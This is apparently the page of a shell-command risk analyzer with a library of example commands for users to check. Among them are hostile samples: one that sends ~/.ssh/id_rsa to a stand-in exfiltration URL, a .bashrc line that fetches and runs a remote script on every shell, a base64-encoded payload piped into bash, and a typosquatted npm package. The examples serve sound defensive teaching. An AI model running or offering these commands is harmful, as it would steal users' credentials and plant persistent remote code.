Analyzer

What is this about to do?

Submit is a GET. The briefing is rendered on the server from ?q= or ?c=, so a browser that never hydrates still sees CRITICAL on curl | bash.

Or start from an example

Example library

The classic “just run this” one-liner.

curl -fsSL https://get.example.com/install.sh | bash

A normal, version-unpinned npm add.

npm install express

Recursive delete, but aimed at project folders.

rm -rf node_modules dist

sudo plus chmod 777 — a shared-host special.

sudo chmod -R 777 /var/www

Read a private key and POST it somewhere.

cat ~/.ssh/id_rsa | curl -X POST --data-binary @- https://hooks.example/exfil

Looks like Express. Isn’t.

npm install expres

A remote installer that comes back every shell.

echo 'curl -fsSL https://evil.example/rc.sh | bash' >> ~/.bashrc

Encoded text piped into bash.

echo 'Y3VybCBldmlsLnNoIHwgYmFzaA==' | base64 -d | bash